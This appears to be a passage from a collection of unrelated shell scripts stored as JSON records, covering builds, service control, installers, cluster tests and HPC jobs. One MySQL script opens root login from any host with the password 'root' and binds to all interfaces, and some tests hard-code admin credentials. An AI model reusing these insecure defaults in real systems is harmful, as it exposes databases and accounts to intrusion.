rsync -rp --delete $FILES $HOST:.farm/$PROJECT/\n #sourcing farm won't work\n ssh $HOST \".farm/$PROJECT/farm.sh local\"\n done\n}\n\nlocal() {\n MIX=\"`which mix`\"\n if [ \"$(expr substr $(uname -s) 1 9)\" == \"CYGWIN_NT\" ]; then\n MIX=\"$MIX.bat\"\n fi\n cd `dirname \"$SCRIPT\"`\n #mix local.hex --force\n \"$MIX\" deps.get\n \"$MIX\" test\n}\n\n$@"} {"text": "#!/bin/bash\n\ndef_host=localhost\ndef_port=10267\n\nHOST=${2:-$def_host}\nPORT=${3:-$def_port}\n\necho -n \"$1\" | nc -p 10666 -4uw 0 $HOST $PORT"} {"text": "#!/usr/bin/env bash\n\nSERVICES=\"\n nexus\n jenkins-slaves\n jenkins-master\"\n# portainer\n\necho \"> Removing All Docker Services:\"\n\n# Remove all configured services\nfor service in ${SERVICES}\ndo\n\t# Remove current service\n\t${SCM_DOCKER_1_APPL_DOCKER_SERVICES_DIR}/remove/remove-docker-service-${service}.sh\ndone\n\necho \"> All Docker Services removed.\""} {"text": "0\n#!/bin/bash\nMININET_DIR=${PWD}\nPOX_DIR=${PWD}/../../../pox\n\nrm -rf $POX_DIR/ext/bellmanFord.py\ncp -r ./bellmanFord/bellmanFord.py $POX_DIR/ext\ncd $POX_DIR\n./pox.py openflow.of_01 forwarding.l2_learning bellmanFord openflow.discovery"} {"text": "#!/bin/sh\n\nsudo dpkg --add-architecture i386\nsudo apt-get update\nsudo apt-get install -y vim\nsudo apt-get install -y libc6:i386\nsudo apt-get install -y gcc-multilib"} {"text": "#! /bin/sh\n\nODOO_HOME=\"/opt/bitnami/apps/odoo\"\nSCHEDULER_START=\"$ODOO_HOME/bin/odoo-bin -c $ODOO_HOME/conf/odoo-server.conf --max-cron-thread 1\"\nSCHEDULER_PROGRAM=\"odoo-bin\"\nSCHEDULER_STATUS=\"\"\nSCHEDULER_PID=\"\"\nSCHEDULER_STATUS=\"\"\nERROR=0\n\nis_service_running() {\n SCHEDULER_PID=`ps ax | awk '/[o]doo-bin -c / {print $1}'`\n if [ \"x$SCHEDULER_PID\" != \"x\" ]; then\n RUNNING=1\n else\n RUNNING=0\n fi\n return $RUNNING\n}\n\nis_scheduler_running() {\n is_service_running \"$SCHEDULER_PROGRAM\"\n RUNNING=$?\n if [ $RUNNING -eq 0 ]; then\n SCHEDULER_STATUS=\"odoo_background_worker not running\"\n else\n SCHEDULER_STATUS=\"odoo_background_worker already running\"\n fi\n return $RUNNING\n}\n\nstart_scheduler() {\n is_scheduler_running\n RUNNING=$?\n if [ $RUNNING -eq 1 ]; then\n echo \"$0 $ARG: odoo_background_worker already running\"\n exit\n fi\n if [ `id -u` != 0 ]; then\n ((cd $ODOO_HOME && $SCHEDULER_START 2>&1) >/dev/null) &\n else\n su - daemon -s /bin/sh -c \"((cd $ODOO_HOME && $SCHEDULER_START 2>&1) >/dev/null) &\"\n fi\n sleep 20\n is_scheduler_running\n RUNNING=$?\n if [ $RUNNING -eq 0 ]; then\n ERROR=1\n fi\n\n if [ $ERROR -eq 0 ]; then\n echo \"$0 $ARG: odoo_background_worker started\"\n sleep 2\n else\n echo \"$0 $ARG: odoo_background_worker could not be started\"\n ERROR=3\n fi\n}\n\nstop_scheduler() {\n NO_EXIT_ON_ERROR=$1\n is_scheduler_running\n RUNNING=$?\n if [ $RUNNING -eq 0 ]; then\n echo \"$0 $ARG: $SCHEDULER_STATUS\"\n if [ \"x$NO_EXIT_ON_ERROR\" != \"xno_exit\" ]; then\n exit\n else\n return\n fi\n fi\n\n kill $SCHEDULER_PID\n sleep 3\n\n is_scheduler_running\n RUNNING=$?\n if [ $RUNNING -eq 0 ]; then\n echo \"$0 $ARG: odoo_background_worker stopped\"\n else\n echo \"$0 $ARG: odoo_background_worker could not be stopped\"\n ERROR=4\n fi\n}\n\nif [ \"x$1\" = \"xstart\" ]; then\n start_scheduler\nelif [ \"x$1\" = \"xstop\" ]; then\n stop_scheduler\nelif [ \"x$1\" = \"xstatus\" ]; then\n is_scheduler_running\n echo \"$SCHEDULER_STATUS\"\nfi\n\nexit $ERROR"} {"text": "#!/bin/sh\nset -e\n\nfatal() { echo \"fatal: $*\" 1>&2; exit 1; }\n\nusage() {\ncat<: 693C86E9DECA9D07D79FF9D22ECD72AD056012E1\nPUBKEY=\"\n-----BEGIN PGP PUBLIC KEY BLOCK-----\n\n\n-----END PGP PUBLIC KEY BLOCK-----\n\"\n\n_verify_environment() {\n [ \"$(id -u)\" = \"0\" ] && fatal \"should not be run as root\"\n\n case \"$(uname -s):$(uname -m)\" in\n Linux:x86_64) ;;\n *) fatal \"unsupported system: $(uname -a)\" ;;\n esac\n\n if [ \"$symlink_path\" ]; then\n symdir=\"$(dirname \"$symlink_path\")\"\n symfile=\"$(basename \"$symlink_path\")\"\n [ -d \"$symlink_path\" ] && fatal \"$symlink_path is a directory\"\n [ -e \"$symlink_path\" ] && fatal \"$symlink_path already exists\"\n [ -w \"$symdir\" ] || fatal \"$symdir is not writable\"\n _in_path \"$symdir\" || fatal \"$symdir is not in \\$PATH\"\n command -v \"$symfile\" >/dev/null && fatal \"$symfile already in \\$PATH\"\n fi\n\n command -v curl >/dev/null || fatal \"curl not found\"\n\n e=\"gpg not found. install or specify --skip-gpg (not recommended)\"\n [ \"$skip_gpg\" ] || command -v gpg >/dev/null || fatal \"$e\"\n\n if ! [ \"$skip_checksum\" ]; then\n if ! command -v sha512sum >/dev/null; then\n fatal \"sha512sum not found. install or --skip-checksum (not recommended)\"\n fi\n fi\n\n return 0\n}\n\n_download() {\n filename=\"$1\"\n eval set -- \"$2\"\n dist=\"https://github.com/wireleap/client/releases/latest/download/\"\n curl \"$@\" -LO \"$dist/$filename\" || fatal \"$filename download failed\"\n return 0\n}\n\n_verify_gpg() {\n [ \"$skip_gpg\" ] && echo \" SKIPPED!\" && return 0\n filename=\"$1\"\n eval set -- \"--no-default-keyring --keyring ./keyring.gpg\"\n echo \"$PUBKEY\" | gpg \"$@\" --import > out.gpg 2>&1 || return 1\n gpg \"$@\" --verify \"$filename\" > out.gpg 2>&1 || return 1\n rm -f keyring.gpg keyring.gpg~ out.gpg\n return 0\n}\n\n_verify_checksum() {\n [ \"$skip_checksum\" ] && echo \" SKIPPED!\" && return 0\n filename=\"$1\"\n eval set -- \"--check --status\"\n sha512sum \"$@\" \"$filename\" || fatal \"sha512sum $filename check failed\"\n return 0\n}\n\n_in_path() {\n echo \"$PATH\" | grep -q \"^$1:\" && return 0\n echo \"$PATH\" | grep -q \":$1:\" && return 0\n echo \"$PATH\" | grep -q \":$1$\" && return 0\n return 1\n}\n\nmain() {\n while [ \"$1\" != \"\" ]; do\n case \"$1\" in\n --help|-h|help) usage ;;\n --symlink=*) symlink_path=\"${1##*=}\" ;;\n --skip-gpg) skip_gpg=\"true\" ;;\n --skip-checksum) skip_checksum=\"true\" ;;\n *) if [ -n \"$d\" ]; then usage; else d=\"$1\"; fi ;;\n esac\n shift\n done\n\n [ -n \"$d\" ] || usage\n [ -d \"$d\" ] && fatal \"$d already exists\"\n binary=\"wireleap\"\n binarydir=\"$(realpath \"$d\")\"\n\n echo \"* verifying environment ...\"\n _verify_environment\n\n echo \"* preparing quarantine ...\"\n mkdir -p \"$binarydir/quarantine\"\n cd \"$binarydir/quarantine\"\n\n os=\"$(uname -s | tr '[:upper:]' '[:lower:]')\"\n echo \"* downloading $binary ...\"\n _download \"${binary}_$os-amd64\"\n\n echo \"* downloading $binary.hash ...\"\n _download \"${binary}_$os-amd64.hash\" \"--silent --show-error\"\n\n echo \"* performing gpg verification on $binary.hash ...\"\n _verify_gpg \"${binary}_$os-amd64.hash\" || fatal \"gpg error\\n$(cat out.gpg)\"\n\n echo \"* performing checksum verification on $binary ...\"\n _verify_checksum \"${binary}_$os-amd64.hash\"\n\n echo \"* releasing $binary from quarantine ...\"\n cd \"$binarydir\"\n mv \"$binarydir/quarantine/${binary}_$os-amd64\" \"$binarydir/$binary\"\n rm \"$binarydir/quarantine/${binary}_$os-amd64.hash\"\n rmdir \"$binarydir/quarantine\"\n\n echo \"* setting $binary executable flag ...\"\n chmod +x \"$binarydir/$binary\"\n\n echo \"* performing $binary initialization ...\"\n \"$binarydir/$binary\" init > out.init 2>&1 || fatal \"error\\n$(cat out.init)\"\n rm -f out.init\n\n if [ \"$symlink_path\" ]; then\n echo \"* creating symlink $symlink_path ...\"\n ln -sf \"$binarydir/$binary\" \"$symlink_path\"\n fi\n\n echo \"* complete\"\n\n if [ -e \"$binarydir/wireleap_tun\" ]; then\n echo\n echo \"To enable TUN support, execute the following commands:\"\n echo \" $ sudo chown 0:0 $binarydir/wireleap_tun\"\n echo \" $ sudo chmod u+s $binarydir/wireleap_tun\"\n fi\n\n return 0\n}\n\n# wrap in function for some protection against partial file if \"curl | sh\"\nmain \"$@\""} {"text": "#!/bin/bash\n\nset -x\nset -e\n\napt-get update\n\napt-get install -y --no-install-recommends mongodb-server\n\ncp /etc/mongodb.conf{,.orig}\n\ncp -frv /build/files/* /\n\n\nsource /usr/local/build_scripts/cleanup_apt.sh"} {"text": "echo \"deploy begin.....\"\n\nTF_CMD=node_modules/.bin/truffle-flattener\n\necho \"\" > ./deployments/EXOTokenAirDrop.full.sol\ncat ./scripts/head.sol > ./deployments/DegoTokenAirDrop.full.sol\n$TF_CMD ./contracts/airdrop/EXOTokenAirDrop.sol >> ./deployments/EXOTokenAirDrop.full.sol \n\necho \"deploy end.....\""} {"text": "#!/bin/bash -e\n#shellcheck disable=SC2155\n\n# This should be executed from top-level directory not from `tests` directory\n# Script needs two variables to be set before execution\n# 1) LICENSE_PATH - path to tectonic license file\n# 2) PULL_SECRET_PATH - path to pull secret file\n\nset -eo pipefail\n\nSMOKE_TEST_OUTPUT=\"Never executed. Problem with one of previous stages\"\n[ -z ${LICENSE_PATH+x} ] && (echo \"Please set LICENSE_PATH\"; exit 1)\n[ -z ${PULL_SECRET_PATH+x} ] && (echo \"Please set PULL_SECRET_PATH\"; exit 1)\n[ -z ${DOMAIN+x} ] && DOMAIN=\"tectonic-ci.de\"\n[ -z ${AWS_REGION+x} ] && AWS_REGION=\"eu-west-1\"\n[ -z ${JOB_NAME+x} ] && PREFIX=\"${USER:-test}\" || PREFIX=\"ci-${JOB_NAME#*/}\"\nCLUSTER_NAME=$(echo \"${PREFIX}-$(uuidgen -r | cut -c1-5)\" | tr '[:upper:]' '[:lower:]')\nexec &> >(tee -a \"$CLUSTER_NAME.log\")\n\nfunction destroy() {\n echo -e \"\\\\e[34m Exiting... Destroying Tectonic and cleaning SSH keys...\\\\e[0m\"\n tectonic destroy --dir=\"${CLUSTER_NAME}\"\n aws ec2 delete-key-pair --key-name \"${CLUSTER_NAME}\"\n echo -e \"\\\\e[36m Finished! Smoke test output:\\\\e[0m ${SMOKE_TEST_OUTPUT}\"\n echo -e \"\\\\e[34m So Long, and Thanks for All the Fish\\\\e[0m\"\n}\n\ntrap destroy EXIT\n\necho -e \"\\\\e[36m Starting build process...\\\\e[0m\"\nbazel build tarball tests/smoke\n# In future bazel build could be extracted to another job which could be running in docker container like this:\n# docker run --rm -v $PWD:$PWD:Z -w $PWD quay.io/coreos/tectonic-builder:bazel-v0.3 bazel build tarball tests/smoke\n\necho -e \"\\\\e[36m Unpacking artifacts...\\\\e[0m\"\ntar -zxf bazel-bin/tectonic-dev.tar.gz\ncp bazel-bin/tests/smoke/linux_amd64_stripped/smoke tectonic-dev/smoke\nexport PATH=\"$(pwd)/tectonic-dev/installer:${PATH}\"\ncd tectonic-dev\n\necho -e \"\\\\e[36m Creating Tectonic configuration...\\\\e[0m\"\nCONFIG=$(python -c 'import sys, yaml, json; json.dump(yaml.load(sys.stdin), sys.stdout)' < examples/tectonic.aws.yaml)\nCONFIG=$(echo \"${CONFIG}\" | jq \".name = \\\"${CLUSTER_NAME}\\\"\" |\\\n jq \".baseDomain = \\\"${DOMAIN}\\\"\" |\\\n jq \".licensePath = \\\"${LICENSE_PATH}\\\"\" |\\\n jq \".pullSecretPath = \\\"${PULL_SECRET_PATH}\\\"\" |\\\n jq \".aws.region = \\\"${AWS_REGION}\\\"\" |\\\n jq \".aws.master.iamRoleName = \\\"tf-tectonic-master-node\\\"\" |\\\n jq \".aws.worker.iamRoleName = \\\"tf-tectonic-worker-node\\\"\" |\\\n jq \".aws.etcd.iamRoleName = \\\"tf-tectonic-etcd-node\\\"\"\n)\necho \"${CONFIG}\" | python -c 'import sys, yaml, json; yaml.safe_dump(json.load(sys.stdin), sys.stdout)' > \"${CLUSTER_NAME}.yaml\"\n\necho -e \"\\\\e[36m Initializing Tectonic...\\\\e[0m\"\ntectonic init --config=\"${CLUSTER_NAME}\".yaml\n\n### ASSUME ROLE ###\necho -e \"\\\\e[36m Setting up AWS credentials...\\\\e[0m\"\nexport AWS_DEFAULT_REGION=\"${AWS_REGION}\"\nunset AWS_SESSION_TOKEN\nACCOUNT_ID=$(aws sts get-caller-identity | jq --raw-output '.Account')\nROLE_ARN=\"arn:aws:iam::${ACCOUNT_ID}:role/tf-tectonic-installer\"\nRES=$(aws sts assume-role --role-arn=\"${ROLE_ARN}\" --role-session-name=\"jenkins-${CLUSTER_NAME}\")\nexport AWS_SECRET_ACCESS_KEY=$(echo \"${RES}\" | jq --raw-output '.Credentials.SecretAccessKey')\nexport AWS_ACCESS_KEY_ID=$(echo \"${RES}\" | jq --raw-output '.Credentials.AccessKeyId')\nexport AWS_SESSION_TOKEN=$(echo \"${RES}\" | jq --raw-output '.Credentials.SessionToken')\n\n### HANDLE SSH KEY ###\necho -e \"\\\\e[36m Uploading SSH key-pair to AWS...\\\\e[0m\"\nif [ ! -f \"$HOME/.ssh/id_rsa.pub\" ]; then\n #shellcheck disable=SC2034\n SSH=$(ssh-keygen -b 2048 -t rsa -f \"${HOME}/.ssh/id_rsa\" -N \"\" < /dev/zero)\nfi\naws ec2 import-key-pair --key-name \"${CLUSTER_NAME}\" --public-key-material \"file://$HOME/.ssh/id_rsa.pub\"\nexport TF_VAR_tectonic_aws_ssh_key=\"${CLUSTER_NAME}\"\n\necho -e \"\\\\e[36m Deploying Tectonic...\\\\e[0m\"\ntectonic install --dir=\"${CLUSTER_NAME}\"\necho -e \"\\\\e[36m Running smoke test...\\\\e[0m\"\nexport SMOKE_KUBECONFIG=\"$(pwd)/$CLUSTER_NAME/generated/auth/kubeconfig\"\nexport SMOKE_NETWORKING=\"canal\"\nexport SMOKE_NODE_COUNT=\"7\" # Sum of all nodes (etcd + master + worker)\nexport SMOKE_MANIFEST_PATHS=\"$(pwd)/$CLUSTER_NAME/generated\"\nexec 5>&1\nSMOKE_TEST_OUTPUT=$(./smoke -test.v --cluster | tee >(cat - >&5))"} {"text": "diagnostics/get_clm_data.sh\n#!/bin/bash\n\nSTART_YEAR=1955\nEND_YEAR=2005\nCASE=\"ctrl\"\nDIR=~/scratch/20XXWRF/CESM_DATA/$CASE\nOUT_DIR=$DIR/CLM_DATA\nLAT=34.0\nLONG=247.0\n\nfor ((i=$START_YEAR; i<=$END_YEAR; i++)); do\n CAM_FILE=`ls $DIR/$i/*cam*.nc`\n OUT_FILE=clm_data_${CASE}_${i}.nc\n echo \"input file: $CAM_FILE\"\n echo \"output file: $OUT_FILE\"\n ncks -d lat,$LAT -d lon,$LONG -O -v T,RELHUM,PS,PRECT,FLDS,FSDS,U,V $CAM_FILE -o $OUT_DIR/$OUT_FILE\n ncap2 -A -s 'UBOT=U(:,29,:,:)' $OUT_DIR/$OUT_FILE\n ncap2 -A -s 'VBOT=V(:,29,:,:)' $OUT_DIR/$OUT_FILE\n ncks -O -x -v U,V $OUT_DIR/$OUT_FILE -o $OUT_DIR/$OUT_FILE\ndone"} {"text": "#!/usr/bin/env bats -t\n\nload helpers\n\nfunction setup() {\n __setup full\n}\n\n@test \"updates the database after a successful push\" {\n docker_run login -u admin -p 12341234 172.17.0.1:5000\n [ $status -eq 0 ]\n\n docker_tag $DEVEL_IMAGE 172.17.0.1:5000/test:uniquetag\n docker_run push 172.17.0.1:5000/test:uniquetag\n [ $status -eq 0 ]\n\n helper_runner wait_event_done.rb uniquetag\n [ $status -eq 0 ]\n\n ruby_puts \"Tag.count\"\n [[ \"${lines[-1]}\" =~ \"1\" ]]\n\n ruby_puts \"Tag.first.name\"\n [[ \"${lines[-1]}\" =~ \"uniquetag\" ]]\n}\n\n@test \"updates the database after a successful delete\" {\n docker_run login -u admin -p 12341234 172.17.0.1:5000\n [ $status -eq 0 ]\n\n docker_tag $DEVEL_IMAGE 172.17.0.1:5000/test:uniquetag\n docker_run push 172.17.0.1:5000/test:uniquetag\n [ $status -eq 0 ]\n\n helper_runner wait_event_done.rb uniquetag\n [ $status -eq 0 ]\n\n ruby_puts \"Tag.count\"\n [[ \"${lines[-1]}\" =~ \"1\" ]]\n\n # And now let's delete this tag.\n helper_runner delete.rb test uniquetag\n [ $status -eq 0 ]\n\n helper_runner wait_event_done.rb uniquetag pickfirst\n [ $status -eq 0 ]\n\n ruby_puts \"Tag.count\"\n [[ \"${lines[-1]}\" =~ \"0\" ]]\n}"} {"text": "#!/usr/bin/env sh\n\n. bin/lib/colors.sh\n\ndir=$1\n\nreadonly LIBS=\"vendor/fgputil-accountdb-1.0.0.jar\n vendor/fgputil-core-1.0.0.jar\n vendor/fgputil-db-1.0.0.jar\n vendor/fgputil-web-1.0.0.jar\"\n\necho \"${C_BLUE}Checking for FgpUtil libraries${C_NONE}\"\n\nif ! stat ${LIBS} > /dev/null 2>&1; then\n echo \"${C_CYAN} Not found. Installing${C_NONE}\"\n bin/build-fgputil.sh ${dir} 2>&1 | sed 's/^/ /'\nfi"} {"text": "#!/bin/bash\n\nset -e\necho \"Configuring mysql\"\nservice mysql start\n\n# Let connections to mysql from anywere (remove if ever deployed publicly)\n\necho \"Creating database...\"\nmysql -u root -proot -e \"update mysql.user set Host='%' where User='root' and Host='localhost'\"\nmysql -u root -proot -e \"create database tvster\"\nmysql -uroot -proot tvster < tvster_dump.sql\nsed -i \"s/= 127.0.0.1/= 0.0.0.0/g\" /etc/mysql/my.cnf\nservice mysql restart"} {"text": "#!/bin/bash\n\nDistTags=$(npm view balm-ui dist-tags --json)\nLatestVersion=$(echo \"$DistTags\" | jq --raw-output '.latest')\n\nnpm run docs\ncd dist\ngit init\ngit add -A\ngit commit -m \"update official site for balm-ui@$LatestVersion\"\ngit push -f :balmjs/material.balmjs.com.git master:gh-pages"} {"text": "#!/usr/bin/env bash\n\nmkdir -p build\ncmake \\\n -GNinja \\\n -DCMAKE_INSTALL_PREFIX=${PREFIX} \\\n -DCMAKE_PREFIX_PATH=${PREFIX} \\\n -DCMAKE_C_COMPILER=${CC} \\\n -DCMAKE_CXX_COMPILER=${CXX} \\\n ..\ncmake --build .\ncmake --install . --config Release -v"} {"text": "#!/bin/bash\n\nkillall feh # schließen der aktuell laufenden Slideshow\n\n# Anzeige des aktuell geknipsten Bildes für 5 Sekunden, danach Start der Slideshow\n# Option -F steht für \"Vollbild\", --cycle-once sorgt dafür, dass das Programm\n# nach der eingestellten Anzeigedauer von -D 3 (3 Sekunden) nicht neu gestartet wird.\n# Ist die Ausführung des ersten feh-Aufrufs beendet, folgt der zweite Aufruf mit allen\n# jpg-Bilder im Unterordner slideshow. -R 2 bedeutet, dass alle 2 Sekunden die\n# Dateiliste neu geladen wird, so dass auch neu hinzugefügte Bilder angezeigt\n# werden.\nFILENAME=$1\nSLIDES=${FILENAME::-31}'*.jpg'\nfeh -F --cycle-once -D 8 $1 --hide-pointer && feh -F -R 2 -D 3 $SLIDES --randomize --hide-pointer"} {"text": "10-100\n#!/bin/bash\n#SBATCH -J knitGSEA\n#SBATCH -n 2\n#SBATCH -N 1\n#SBATCH -p shared,irizarry\n#SBATCH --mem 32G\n#SBATCH -t 0-6:00\n#SBATCH -o render-%j.out\n#SBATCH -e render-%j.err\n \nexport RSTUDIO_PANDOC=\"/n/helmod/apps/centos7/Core/rstudio/1.1.453-fasrc01/bin/pandoc\"\n\nR -e \"rmarkdown::render('gsea-human.Rmd')\"\nR -e \"rmarkdown::render('gsea-mouse.Rmd')\""} {"text": "src/pages/gratitude/concat-watch.sh\n# pip install https://github.com/joh/when-changed/archive/master.zip\r\n\r\nwhen-changed index.pug sh concat.sh"} {"text": "10-100\n#!/bin/bash - \n#===============================================================================\n#\n# FILE: install.sh\n# \n# USAGE: ./install.sh \n# \n# DESCRIPTION: \n# \n# OPTIONS: ---\n# REQUIREMENTS: ---\n# BUGS: ---\n# NOTES: ---\n# AUTHOR: (l0nax), \n# ORGANIZATION: FABMation GmbH\n# CREATED: 08/11/2020 11:47:27 AM\n# REVISION: ---\n#===============================================================================\n\nset -o nounset # Treat unset variables as an error\nset -x\n\nhelm plugin remove whatup\n\nmake build\nSKIP_BIN_INSTALL=1 helm plugin install $GOPATH/src/github.com/fabmation-gmbh/helm-whatup"} {"text": "globotree/com.unity.editor.tasks10-100\n#!/bin/bash -eu\n{ set +x; } 2>/dev/null\nSOURCE=\"${BASH_SOURCE[0]}\"\nDIR=\"$( cd -P \"$( dirname \"$SOURCE\" )\" >/dev/null 2>&1 && pwd )\"\n\nOS=\"Mac\"\nif [[ -e \"/c/\" ]]; then\n OS=\"Windows\"\nfi\n\nCONFIGURATION=Release\nPUBLIC=\"\"\nBUILD=0\nUPM=0\nUNITYVERSION=2019.2\nYAMATO=0\n\nwhile (( \"$#\" )); do\n case \"$1\" in\n -d|--debug)\n CONFIGURATION=\"Debug\"\n ;;\n -r|--release)\n CONFIGURATION=\"Release\"\n ;;\n -p|--public)\n PUBLIC=\"-p:PublicRelease=true\"\n ;;\n -b|--build)\n BUILD=1\n ;;\n -u|--upm)\n UPM=1\n ;;\n -c)\n shift\n CONFIGURATION=$1\n ;;\n -g|--github)\n GITHUB=1\n ;;\n -*|--*=) # unsupported flags\n echo \"Error: Unsupported flag $1\" >&2\n exit 1\n ;;\n esac\n shift\ndone\n\nif [[ x\"${YAMATO_JOB_ID:-}\" != x\"\" ]]; then\n YAMATO=1\n export GITLAB_CI=1\n export CI_COMMIT_TAG=\"${GIT_TAG:-}\"\n export CI_COMMIT_REF_NAME=\"${GIT_BRANCH:-}\"\nfi\n\nif [[ x\"${PUBLISH_KEY:-}\" == x\"\" ]]; then\n echo \"Can't publish without a PUBLISH_KEY environment variable in the user:token format\" >&2\n popd >/dev/null 2>&1\n exit 1\nfi\n\nif [[ x\"${PUBLISH_URL:-}\" == x\"\" ]]; then\n echo \"Can't publish without a PUBLISH_URL environment variable\" >&2\n popd >/dev/null 2>&1\n exit 1\nfi\n\nfor p in \"$DIR/build/nuget/**/*nupkg\"; do\n dotnet nuget push $p -ApiKey \"${PUBLISH_KEY}\" -Source \"${PUBLISH_URL}\"\ndone"} {"text": "hhefesto/playnft\nelm2nix convert > elm-srcs.nix"} {"text": "fusion-energy/fusion_neutronics_workflowexample_02_multi_volume_cell_tally/run_all.sh\npython 1_create_cad_and_convert_to_dagmc.py\npython 2_run_neutronics_simulation.py"} {"text": "0\n#!/bin/bash\nSHTNS=\"shtns-3.4.2\"\ncd src\n./configure --enable-python --disable-openmp --prefix=${PREFIX} --enable-kernel-compiler=${CC}\nmake\nmake install"} {"text": "#!/usr/bin/env bash\nset -euo pipefail\n\ncommand -v dotnet >/dev/null 2>&1 || {\n echo >&2 \"This script requires the dotnet core sdk tooling to be installed\"\n exit 1\n}\n\nSCRIPT_ROOT=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\nNETSTANDARD_SLN=\"${SCRIPT_ROOT}/../alfa-quiz-bot.sln\"\n\necho \"!!WARNING!! This script only builds netstandard and netcoreapp targets\"\n\ndotnet restore -v m \"${NETSTANDARD_SLN}\"\n\ndotnet publish -c Release -o \"${SCRIPT_ROOT}/../out\" \"${SCRIPT_ROOT}/../src/AlfaBot.Host\""} {"text": "#!/bin/bash\n\n#SBATCH --mem=100000\n#SBATCH -J uFlu\n#SBATCH -o logfile_customAnalyses_%A_%a.txt\n#SBATCH -e logfile_customAnalyses_%A_%a.txt\n#SBATCH --array=1- \n\nPROJECT=\"\"\nTASKDIR=\"/pasteur/zeus/projets/p01/uFlu/reassortment_project\"\nSAMPLE_NUM=${SLURM_ARRAY_TASK_ID}\nline=`head -n ${SAMPLE_NUM} ${TASKDIR}/02_STARsolo_outputs/${PROJECT}/${PROJECT}_samples.txt | tail -n 1`\nID=`echo $line | cut -d ' ' -f 1`\n\n# load modules you need: \nmodule purge # remove modules that may have been loaded by mistake\nmodule load R/4.1.0\n\nstart=`date +%s`\nhostname\n${ID}\n${SAMPLE_NUM}\n\nmkdir ${TASKDIR}/03_custom_analyses/${PROJECT}/${ID}\nmkdir ${TASKDIR}/03_custom_analyses/${PROJECT}/${ID}/n50\nmkdir ${TASKDIR}/03_custom_analyses/${PROJECT}/${ID}/n75\n\nRscript ${TASKDIR}/resources/uFlu/scripts/process.R ${ID} ${PROJECT}\n\nchmod -R 775 ${TASKDIR}/03_custom_analyses/${PROJECT}/${ID}"} {"text": "MitMaro/node-server-shutdown\n#!/usr/bin/env bash\n\ncd \"$(dirname \"${BASH_SOURCE[0]}\")\" && source \"./common.bash\"\n\ninfo \"Starting lint\"\neslint . \"$@\"\ninfo \"Lint complete\""} {"text": "#!/usr/bin/env bash\n\nset -eu\n\nDOCKER_IMAGE=\"golang:1.13\"\n\nif [ \"$#\" -lt 1 ]; then\n echo \"\"\n echo \"Usage: build.sh [Commands]\"\n echo \"Description:\"\n echo \" Run dockerized $DOCKER_IMAGE, mount project and execute the given commands.\"\n echo \"\"\n echo \"Commands:\"\n echo \" make list - list all targets in the makefile\"\n echo \" make format - format all go files\"\n echo \" make test - run all go tests\"\n echo \" make lint - lint all go files\"\n echo \" make build - build an executable\"\n echo \" make assets - compile go-bindata from the assets folder\"\n echo \" make all - run the format, test, lint and build targets\"\n echo \"\"\n echo \"Overrides:\"\n echo \" Z_GOOS - Target OS for the compiled binary.\"\n echo \" Z_GOARCH - Target Architecture for the compiled binary.\"\n echo \"\"\n echo \"Examples:\"\n echo \" Z_GOOS=linux Z_GOARCH=amd ./build.sh make build\"\n echo \" Z_GOOS=linux Z_GOARCH=amd ./build.sh make all\"\n exit 1;\nfi\n\n# Runs docker container.\n# Main purpose is to use on Windows but can be used by all, especially to avoid\n# installing required tooling (make, go, etc).\n#\n# Usage:\n#\n# # will target host's OS and architecture\n# ./build.sh make build\n# ./build.sh make all\n#\n# # override target OS/architecture\n# Z_GOOS=linux Z_GOARCH=amd ./build.sh make build\n# Z_GOOS=linux Z_GOARCH=amd ./build.sh make all\n#\nZ_GOOS=\"${Z_GOOS:-\"$(go env GOOS)\"}\"\nZ_GOARCH=\"${Z_GOARCH:-\"$(go env GOARCH)\"}\"\n\n\ncd \"$(dirname \"${BASH_SOURCE}\")\"\n\necho \"Running in docker container ${DOCKER_IMAGE}...\"\n\n# Prevent windows msys path expansion for path by prefixing a / to the path.\nif [ \"$Z_GOOS\" == \"windows\" ]; then\n PWD=\"/\"\nfi\n\n# Use absolute src path in -v :(here).\n# Otherwise make will not find the intended makefile: \"make: *** No rule to make target 'build'. Stop.\"\n(\n set -x\n docker run --rm \\\n -v \"${PWD}\":${PWD} \\\n -w ${PWD} \\\n -e Z_GOOS=${Z_GOOS} \\\n -e Z_GOARCH=${Z_GOARCH} \\\n -e Z_GOBIN=\"${PWD}/bin_tools/${Z_GOOS}_${Z_GOARCH}\" \\\n ${DOCKER_IMAGE} \\\n $@\n)"} {"text": "plex/plex.sh\n#!/bin/sh\n\n# See https://github.com/filebot/plex-agents\n\ncd /var/lib/plexmediaserver/Library/Application\\ Support/Plex\\ Media\\ Server/ || exit\nwget https://github.com/filebot/plex-agents/archive/master.zip\nunzip master.zip\ncp -R plex-agents-master/Scanners/ ../Application\\ Support/Plex\\ Media\\ Server/\ncp -R /var/lib/plexmediaserver/Library/Application\\ Support/plex-agents-master/Plug-ins/Xattr.bundle /var/lib/plexmediaserver/Library/Application\\ Support/Plex\\ Media\\ Server/Plug-ins/\nservice plexmediaserver restart\n\n# Next time will try this\n# #!/bin/sh -xu\n# curl -L -O https://github.com/filebot/plex-agents/archive/master.zip\n# unzip -o master.zip\n# cp -vru 'plex-agents-master/Plug-ins' '/path/to/PlexMediaServer/Library/Plex Media Server'\n# cp -vru 'plex-agents-master/Scanners' '/path/to/PlexMediaServer/Library/Plex Media Server'"} {"text": "bokunimowakaru/RaspberryPistartxbee.sh1-10\n#!/bin/bash\ncd ~\ngit clone -b raspi https://github.com/bokunimowakaru/xbeeCoord.git\ncd xbeeCoord/tools\nmake\n~/xbeeCoord/cqpub_pi/practice10.sh"} {"text": "#!/bin/bash -euo\n\n\"${PREFIX}/bin/jupyter\" kernelspec remove -fy scijava 2> /dev/null"} {"text": "#!/usr/bin/env bash\n\nCUR_DIR=\"$(pwd)\"\n\nexport AUTHOR_EMAIL=$(cat ${HOME}/.gitconfig | grep -i -o '[a-zA-Z0-9._%+-]\\+@[a-zA-Z0-9.-]\\+\\.[a-zA-Z]\\{2,4\\}')\nexport AUTHOR=\"${USER}\"\nexport COMPANY=\"$AUTHOR\"\n\necho \"$AUTHOR_EMAIL\" | success\n\necho \"Setting up $PROJECT project...\" | status\n\necho \"Initializing git...\" | status\ngit init $CUR_DIR\n\necho \"Adding gitignore...\" | status\nsource ${SCRIPT_LIBS_DIR}/__gitignore.sh\n\necho \"Setting up VSCode...\" | status\nsource ${SCRIPT_LIBS_DIR}/__vscode_settings.sh\n\necho \"Setting up direnv .envrc...\" | status\nsource ${SCRIPT_LIBS_DIR}/__envrc.sh\nsource ${SCRIPT_LIBS_DIR}/__project_detect.sh\n\n\n### Clean up\nunset CUR_DIR\nunset 